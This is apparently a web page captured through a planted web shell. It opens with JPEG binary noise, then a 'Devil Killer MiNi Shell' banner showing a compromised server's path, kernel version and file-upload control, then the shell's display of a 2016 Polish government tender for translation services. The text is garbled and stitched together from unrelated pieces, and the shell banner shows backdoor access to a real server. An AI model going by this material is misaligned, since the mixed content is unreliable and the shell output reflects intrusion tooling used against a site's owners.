JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20161116/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20161116/344435-N-2016.html

<BR/><p>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia (jeżeli dotyczy):  </p><a class='base announcementNumber' href='http://bip.gdos.gov.pl/zamowienia-publiczne' target='_blank'>http://bip.gdos.gov.pl/zamowienia-publiczne</a><br/><hr class='linkedItemsSeparator' /><div class="divRow_xforms"><div>
              Ogłoszenie nr 344435 - 2016
              z dnia 2016-11-16 r.
            </div><div class="headerMedium_xforms" style="text-align: center">Warszawa: Świadczenie usług w zakresie tłumaczeń pisemnych i tłumaczeń ustnych dla Generalnej Dyrekcji Ochrony Środowiska
<br />
            OGŁOSZENIE O ZAMÓWIENIU -
            
              Usługi
            </div><div><b>Zamieszczanie ogłoszenia:</b>
              obowiązkowe
            </div><div><b>Ogłoszenie dotyczy:</b>
              zamówienia publicznego
            </div><div><b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><br /><b>Nazwa projektu lub programu</b><br /></div><div><b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje  społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %)
            <br /></div><div class="headerLarge_xforms" style="text-align: left"><u>SEKCJA I: ZAMAWIAJĄCY</u></div><div style="padding-left: 20px"><b>Postępowanie przeprowadza centralny zamawiający </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b><br /><b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów:
            <br /><br /><b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej  mające zastosowanie krajowe prawo zamówień publicznych:</b><br /><b>Informacje dodatkowe:</b><br /></div><div style="padding-left: 20px;"><div style="text-align: left"><b>I. 1) NAZWA I ADRES: </b>Generalna Dyrekcja Ochrony Środowiska, krajowy numer identyfikacyjny
              141628410, ul.
              Wawelska 
              52/54,
              00-922 
              Warszawa, woj.
              mazowieckie, państwo
              Polska, tel.
              +48223692900, e-mail
              , faks
              +48223692120.
              <br />
              Adres strony internetowej (URL): www.gdos.gov.pl<br /><br /></div><div style="text-align: left"><b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b>
                Administracja rządowa centralna
              </div><div style="text-align: left"><b>
                I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>:
              </b><div style="padding-left: 20px">
                Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym
                w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających):
                <br /></div></div><div style="text-align: left"><b>
                I.4) KOMUNIKACJA:
              </b><br /><b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b><div style="padding-left: 20px">
                  tak
                <br />http://bip.gdos.gov.pl/zamowienia-publiczne</div><br /><b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b><div style="padding-left: 20px">
                  tak
                <br />http://bip.gdos.gov.pl/zamowienia-publiczne</div><br /><b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b><div style="padding-left: 20px">
                  nie
                <br /></div><br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b><br /><b>Elektronicznie</b><div style="padding-left: 20px">
                  nie
                <br />
                adres
                <br /></div><br /><div style="padding-left: 20px"><b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  nie
                <br /><b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  tak
                  <br />
                  Inny sposób:
                  <br />pisemnie<br />
                Adres:
                <br />Generalna Dyrekcja Ochrony Środowiska ul. Wawelska 52/54 00-926 Warszawa</div><br /><b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b><div style="padding-left: 20px">
                  nie
                <br />
                Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL)
                <br /></div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA II: PRZEDMIOT ZAMÓWIENIA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><br /><b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b>Świadczenie usług w zakresie tłumaczeń pisemnych i tłumaczeń ustnych dla Generalnej Dyrekcji Ochrony Środowiska
<br /><b>Numer referencyjny: </b>16/GDOŚ/2016<br /><b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b><br /><div style="padding-left: 20px; text-align: justify">
                  nie
                </div><br /><b>II.2) Rodzaj zamówienia: </b>
                usługi
              <br /><b>II.3) Informacja o możliwości składania ofert częściowych</b><br />
              Zamówienie podzielone jest na części:
              <br /><div style="padding-left: 20px">
                  Nie
                </div><br /><br /><b>
                II.4) Krótki opis przedmiotu zamówienia
              </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:
              </b>1. Przedmiotem zamówienia jest świadczenie usług w zakresie tłumaczeń pisemnych z obszarów tematycznych wynikających z zakresu kompetencji Zamawiającego oraz tłumaczeń ustnych podczas organizacji konferencji, seminariów i spotkań organizowanych przez Zamawiającego. 
2. Szczegółowy opis przedmiotu zamówienia określa Załącznik Nr 1 do SIWZ.
<br /><br /><b>II.5) Główny kod CPV: </b>79530000-8<br /><b> Dodatkowe kody CPV:</b>79540000-1<br /><b>
                II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>:
              
              <br />
              Wartość bez VAT:
              <br />
              Waluta:
              <br /><div style="padding-left: 20px"><br /><i>(w przypadku umów ramowych lub dynamicznego systemu zakupów  szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i></div><br /><b>
                II.7)
                Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7  lub w art. 134 ust. 6 pkt 3  ustawy Pzp:
              </b>
                nie
              <br /><b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b><div style="padding-left: 20px">
                    data zakończenia: 31/12/2018<br /></div><br /><b>II.9) Informacje dodatkowe: </b>Wykonawca jest zobowiązany wykonać zamówienie od dnia zawarcia umowy, ale nie wcześniej niż od 1.01.2017 r. do 31.12.2018 r. lub do wyczerpania maksymalnej kwoty umowy.</div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>
                III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU
              </b><br /><div style="padding-left: 20px"><b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b><br />
                Określenie warunków:
                <br />
                Informacje dodatkowe
                <br /><b>III.1.2)  Sytuacja finansowa lub ekonomiczna  </b><br />
                Określenie warunków:
                <br />
                Informacje dodatkowe
                <br /><b>III.1.3) Zdolność techniczna lub zawodowa </b><br />
                Określenie warunków:
                O udzielenie zamówienia mogą ubiegać się Wykonawcy, którzy spełniają warunek określony w art. 22 ust. 1b pkt 3 ustawy, dotyczący zdolności technicznej lub zawodowej, 
tj. Wykonawca będzie dysponował na etapie realizacji zamówienia:
1) co najmniej sześcioma tłumaczami wykonującymi tłumaczenia pisemne, po jednym z następujących języków: angielski, francuski, niemiecki, rosyjski, czeski, słowacki, z których każda z osobna spełnia poniższe warunki:
a) posiada wykształcenie wyższe na kierunku filologii danego języka zdobyte w kraju lub za granicą, lub
b) legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym w zakresie danego języka zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub 
c) ukończyła studia podyplomowe w kraju lub za granicą w zakresie tłumaczenia danego języka, lub
d) posiada status native speakera oraz:
- ukończyła studia wyższe, minimum 3-letnie, na kierunku filologia polska w kraju lub za granicą, lub
- ukończyła studia wyższe, minimum 3-letnie, na kierunku gdzie językiem wykładowym był język polski, lub
- legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym 
w zakresie języka polskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub
e) posiada prawo do wykonywania zawodu tłumacza przysięgłego w zakresie danego języka,
f) przetłumaczyła w swoim dorobku zawodowym co najmniej 1000 stron obliczeniowych (tj. 1800 znaków ze spacjami na stronę) odpowiednio w języku, którego będzie tłumaczem.
2) co najmniej sześcioma tłumaczami ustnymi, po jednym z następujących języków: angielski, francuski, niemiecki, rosyjski, czeski, słowacki, z których każda z osobna spełnia poniższe warunki:
a) posiada wykształcenie wyższe na kierunku filologii danego języka zdobyte w kraju lub za granicą, lub
b) legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym w zakresie danego języka zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub 
c) ukończyła studia podyplomowe w kraju lub za granicą w zakresie tłumaczenia danego języka, lub
d) posiada status native speakera oraz:
- ukończyła studia wyższe, minimum 3-letnie, na kierunku filologia polska w kraju lub za granicą, lub
- ukończyła studia wyższe, minimum 3-letnie, na kierunku gdzie językiem wykładowym był język polski, lub
- legitymuje się certyfikatem C2 lub innym równoważnym na poziomie biegłym w zakresie języka polskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages), lub
e) posiada prawo do wykonywania zawodu tłumacza przysięgłego w zakresie danego języka,
f) przetłumaczyła w swoim dorobku zawodowym ustnie co najmniej 300 godzin odpowiednio w języku, którego będzie tłumaczem.
Zamawiający nie dopuszcza łączenia roli tłumacza pisemnego i tłumacza ustnego przez jedną osobę. Zamawiający nie dopuszcza, aby osoba będąca tłumaczem pisemnym wykonywała tłumaczenia dla dwóch lub więcej języków.
Zamawiający dopuszcza, aby osoba pełniąca rolę tłumacza ustnego wykonywała tłumaczenia maksymalnie w dwóch językach.
<br />
                Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób:
                
                  tak
                <br />
                Informacje dodatkowe:
                </div><b>
                III.2) PODSTAWY WYKLUCZENIA
              </b><br /><div style="padding-left: 20px"><b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1  ustawy Pzp</b><br /><b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b>
                  nie
                <br /></div><b>
                III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI
              </b><br /><div style="padding-left: 20px"><b>
                  Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu
                </b><br />
                  tak
                <br /><b>
                  Oświadczenie o spełnianiu kryteriów selekcji
                </b><br />
                  nie
                </div><b>
                III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP:
              </b><br /><div style="padding-left: 20px"></div><b>
                III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP
              </b><br /><div style="padding-left: 20px"><b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b><br />wykaz osób, skierowanych przez Wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami. Wzór wykazu osób stanowi Załącznik nr 6 do SIWZ.
<br /><b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b><br /></div><b>
                III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP
              </b><br /><div style="padding-left: 20px">W celu potwierdzenia, że oferowane usługi w zakresie tłumaczeń pisemnych odpowiadają wymaganiom określonym przez Zamawiającego, Wykonawca przedłoży na wezwanie Zamawiającego certyfikat potwierdzający zgodność systemu zarządzania z normą PN-EN ISO 17100:2015-06 lub równoważny w zakresie świadczenia usług tłumaczeniowych.
</div><b>
                III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6)
              </b><div style="padding-left: 20px">1. Wykonawca może w celu potwierdzenia spełniania warunków udziału w postępowaniu, w stosownych sytuacjach oraz w odniesieniu do konkretnego zamówienia, lub jego części, polegać na zdolnościach technicznych lub zawodowych innych podmiotów, niezależnie od charakteru prawnego łączących go z nim stosunków prawnych.
2. Wykonawca, który polega na zdolnościach lub sytuacji innych podmiotów, musi udowodnić Zamawiającemu, że realizując zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów, w szczególności przedstawiając zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na potrzeby realizacji zamówienia.
3. Ponadto, Wykonawca złoży wraz z ofertą:
1) w przypadku, gdy Wykonawcę reprezentuje pełnomocnik - pełnomocnictwo, które musi być udzielone na piśmie i podpisane przez osoby wymienione w aktualnym rejestrze lub aktualnym zaświadczeniu o wpisie do centralnej ewidencji i informacji o działalności gospodarczej. 
Pełnomocnictwo powinno być załączone do oferty w oryginale lub w formie kopii poświadczonej za zgodność z oryginałem przez notariusza. Załączenie pełnomocnictwa w formie kserokopii, na której widnieją podpisy samego umocowanego nie zostanie uznane za ważne;
2) zaleca się, aby dokument pełnomocnictwa w swej treści zawierał co najmniej:
a) dane identyfikacyjne  w treści pełnomocnictwa należy podać dane identyfikujące osobę, której pełnomocnictwo jest udzielane, w przypadku: osób fizycznych  seria i numer dowodu osobistego, PESEL, a w przypadku osób prawnych  siedziba, numer Krajowego Rejestru Sądowego, NIP, REGON,
b) zakres umocowania,
c) okres ważności pełnomocnictwa,
d) w treści pełnomocnictwa powinna być uregulowana kwestia substytucji, tj. uprawnienia do udzielania dalszych pełnomocnictw. Zgodnie z art. 106 Kodeksu cywilnego, pełnomocnik może ustanowić dla mocodawcy innych pełnomocników, tylko wtedy, gdy umocowanie takie wynika z treści pełnomocnictwa, z ustawy, lub ze stosunku prawnego będącego podstawą pełnomocnictwa. W przypadku, gdy wolą mocodawcy jest, aby jego pełnomocnik był uprawniony do upoważniania innych osób do reprezentowania go, należy to wyraźnie zaznaczyć w treści pełnomocnictwa,
e) datę wystawienia pełnomocnictwa celem uniknięcia wątpliwości, od jakiego momentu pełnomocnik jest uprawniony do dokonywania czynności określonych w treści pełnomocnictwa w imieniu i na rzecz swego mocodawcy.
4. Wykonawca, w terminie 3 dni od dnia zamieszczenia na stronie internetowej informacji, o której mowa w art. 86 ust. 5 ustawy, przekazuje Zamawiającemu oświadczenie o przynależności lub braku przynależności do tej samej grupy kapitałowej, 
o której mowa w art. 24 ust. 1 pkt 23 ustawy, według Załącznika Nr 8 do SIWZ. Wraz ze złożeniem oświadczenia, Wykonawca może przedstawić dowody, że powiązania z innym Wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia.</div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA IV: PROCEDURA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>IV.1) OPIS </b><br /><b>IV.1.1) Tryb udzielenia zamówienia: </b>
                przetarg nieograniczony
              <br /><b>IV.1.2) Zamawiający żąda wniesienia wadium:</b><div style="padding-left: 20px">
                  nie
                </div><br /><b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b><div style="padding-left: 20px">
                  nie
                </div><br /><b>
                IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /></div><br /><b>
                IV.1.5.) Wymaga się złożenia oferty wariantowej:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie oferty wariantowej
                <br />
                  nie
                <br />
                Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej:
                <br />
                  nie
                </div><br /><b>
                IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu
              </b><br /><i>
                (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne)
              </i><div style="padding-left: 20px">
                Liczba wykonawców  <br />
                Przewidywana minimalna liczba wykonawców  <br />
                Maksymalna liczba wykonawców  <br />
                Kryteria selekcji wykonawców:
                <br /></div><br /><b>
                IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów:
              </b><div style="padding-left: 20px">
                Umowa ramowa będzie zawarta:
                <br /><br />
                Czy przewiduje się ograniczenie liczby uczestników umowy ramowej:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych:
                <br />
                  nie
                <br />
                Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów:
                <br />
                  nie
                </div><br /><b>IV.1.8) Aukcja elektroniczna </b><br /><b>
                Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i>
                nie
              <br /><b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b><br /><b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b><br />
                nie
              <br />

              
                Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie  termin ich udostępnienia:
              
              <br />
              Informacje dotyczące przebiegu aukcji elektronicznej: 
              <br />
              Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): 
              <br />
              Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń:
              <br />
              Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: 
              <br />


              Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Aukcja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu:
                
                  nie
                <br />
                Warunki zamknięcia aukcji elektronicznej:
                <br /></div><br /><b>IV.2) KRYTERIA OCENY OFERT </b><br /><b>IV.2.1) Kryteria oceny ofert: </b><br /><b>IV.2.2) Kryteria</b><br /><div style="padding-left: 20px"><table><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena</td><td>52</td></tr><tr><td>doświadczenie osób odpowiedzialnych za realizację zamówienia</td><td>24</td></tr><tr><td>liczba osób zatrudnionych na umowę o pracę</td><td>24</td></tr></table></div><br /><b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony)
              <br />
                tak
              <br /><b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b><br /><b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b><br />
              Minimalne wymagania, które muszą spełniać wszystkie oferty:
              <br /><br />
              Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji
              
                nie
              <br />
              Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert:
              
                nie
              <br />
              Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów):
              <br /><br />
              Informacje dodatkowe
              <br /><br /><br /><b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b><br />
              Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu:
              <br /><br />
              Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody:
              <br /><br />
              Wstępny harmonogram postępowania:
              <br /><br />
              Podział dialogu na etapy w celu ograniczenia liczby rozwiązań:
              
                nie
              <br />
              Należy podać informacje na temat etapów dialogu:
              <br /><br /><br />
              Informacje dodatkowe:
              <br /><br /><b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b><br />
              Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty:
              <br /><br />
              Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia:
